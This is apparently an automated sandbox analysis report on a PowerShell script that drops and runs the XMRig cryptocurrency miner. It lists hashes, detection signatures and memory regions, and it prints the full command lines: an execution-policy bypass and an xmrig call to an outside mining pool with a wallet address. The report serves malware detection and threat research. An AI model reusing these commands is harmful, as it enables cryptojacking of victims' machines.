Resubmissions

27-05-2024 18:28

240527-w4c4xsdc7w 10

27-05-2024 18:28

240527-w4c4xsdc7v 10

27-05-2024 18:28

240527-w4cs6aed49 10

27-05-2024 18:28

240527-w4cs6aed48 10

27-05-2024 18:28

240527-w4cs6aed47 10

27-05-2024 18:28

240527-w4c4xsed52

Analysis

  • max time kernel
    1799s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    27-05-2024 18:28

General

  • Target

    file01 - copia (8).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 49 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (8).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:824
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1152

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2we4qll.ez1.ps1
    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
    Filesize

    5.6MB

    MD5

    4eb028f3824bf19f7a975569c1ddbeb2

    SHA1

    6f535445a1cdc0b57c78d9c23b9719a392797df5

    SHA256

    f795049f419b41c856b7888990e5d1f39c5f639ebd109c3e33154ac77e8668f1

    SHA512

    1116ccd37cb20d3ca9df16a0dbba65213a08834d29b7fec249ed3722251a78c9ca0c67af4a26ba4eb0c8777f20af516b8d84a5ad96ddf40d901ab4aa4492ed53

  • memory/824-3-0x00007FFDC79F3000-0x00007FFDC79F4000-memory.dmp
    Filesize

    4KB

  • memory/824-5-0x000001F57C650000-0x000001F57C672000-memory.dmp
    Filesize

    136KB

  • memory/824-8-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
    Filesize

    9.9MB

  • memory/824-9-0x000001F57C800000-0x000001F57C876000-memory.dmp
    Filesize

    472KB

  • memory/824-10-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
    Filesize

    9.9MB

  • memory/824-26-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
    Filesize

    9.9MB

  • memory/824-30-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
    Filesize

    9.9MB

  • memory/824-63-0x000001F57C7D0000-0x000001F57C7DA000-memory.dmp
    Filesize

    40KB

  • memory/824-50-0x000001F57C7E0000-0x000001F57C7F2000-memory.dmp
    Filesize

    72KB

  • memory/824-93-0x00007FFDC79F3000-0x00007FFDC79F4000-memory.dmp
    Filesize

    4KB

  • memory/824-94-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
    Filesize

    9.9MB

  • memory/1152-92-0x000001CD173E0000-0x000001CD17400000-memory.dmp
    Filesize

    128KB

  • memory/1152-95-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-96-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-97-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-98-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-99-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-100-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-101-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-102-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-103-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-104-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-105-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-106-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-107-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-108-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-109-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-110-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-111-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-112-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-113-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-114-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-115-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-116-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-117-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-118-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-119-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-120-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-121-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-122-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-123-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-124-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-125-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-126-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-127-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-128-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-129-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-130-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-131-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-132-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-133-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-134-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-135-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-136-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-137-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-138-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-139-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-140-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-141-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-142-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-143-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-144-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-145-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-146-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-147-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-148-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-149-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-150-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-151-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-152-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-153-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-154-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-155-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-156-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB

  • memory/1152-157-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
    Filesize

    12.2MB